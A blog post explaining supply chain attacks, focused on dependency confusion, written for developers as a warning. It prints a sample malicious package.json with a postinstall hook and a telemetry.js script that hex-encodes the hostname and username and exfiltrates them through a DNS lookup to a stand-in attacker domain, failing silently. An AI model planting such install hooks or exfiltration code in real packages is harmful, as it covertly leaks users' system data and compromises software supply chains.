Skip to content
Sedat Özdemir
Writing

cybersecurity

Whose Shoulders Are You Standing On? The Supply Chain Nightmare

You trust your code, but do you trust your dependencies? A deep dive into why shifting left also means looking at the libraries you invite into your house.

Sedat Özdemir
· 4 dk read

Hey there, grab your coffee and lean back. Today we're going to touch on a topic that’s a bit annoying but absolutely vital.

Back in the day, when we talked about cybersecurity, the first things that came to mind were someone hammering at the firewall, chasing SQL injections, or cracking a weak password. Nowadays, the situation has evolved into a completely different dimension. Instead of breaking down the door, attackers are now planting bombs in the bags of the 'guests' you’ve already trusted and invited in yourself. Yeah, I’m talking about supply chain attacks.

There’s a trend in the industry called 'Shift Left.' It means moving security to the very beginning of the development process. Great idea, fantastic concept. But we have a problem: as we shift left, attackers are shifting left with us—sometimes even further left than where we start—targeting the libraries and tools we use.

Can an Innocent 'npm install' Burn You?

As a developer at testCompany, you’re building an awesome project. To move fast, instead of reinventing the wheel, you use community-vetted libraries. One day you open the terminal and type:

npm install super-useful-logger

When you run this command, you aren’t just downloading a package; you’re trusting that package’s author, that author’s security, and the hundreds of other packages that the package depends on. If the maintainer of that library has their account hijacked or if a malicious contributor sneaks in, your squeaky-clean code suddenly turns into a Trojan Horse.

Dependency Confusion: Inside or Outside?

One of my favorite methods (and one I love to simulate during Red Team operations) is 'Dependency Confusion.' The logic is painfully simple. Let's say you have a private library used within testCompany: @testCompany/internal-auth.

An attacker uploads a fake package with the exact same name but a much higher version number to a public repository (like npm or PyPI). When your CI/CD processes or local environment fetch packages, they think, 'Aha, there’s a newer version!' and go ahead and download the attacker’s package.

Here’s a (defanged) example of what a simple 'post-install' script inside that fake package might look like:

{
  "name": "@testCompany/internal-auth",
  "version": "99.9.9",
  "description": "Internal auth library",
  "scripts": {
    "postinstall": "node ./scripts/telemetry.js"
  }
}

And imagine that inside the telemetry.js file, there’s code that looks innocent but is actually quite nasty (defanged):

const os = require('os');
const dns = require('dns');

// Collect system info
const data = `${os.hostname()}:${os.userInfo().username}`;
const encodedData = Buffer.from(data).toString('hex');

// Exfiltrate data via a DNS query (OOB - Out of Band exfiltration)
// Simulation using 127.0.0.1 / example.com
dns.lookup(`${encodedData}.v1.attacker-domain.example.com`, (err) => {
    // Die silently so no one notices
});

When this code runs, the package has only just been installed, but your environment info has already been leaked to the outside world. This is exactly why we need to be paranoid not just about the code we write, but the code we inherit.

Related posts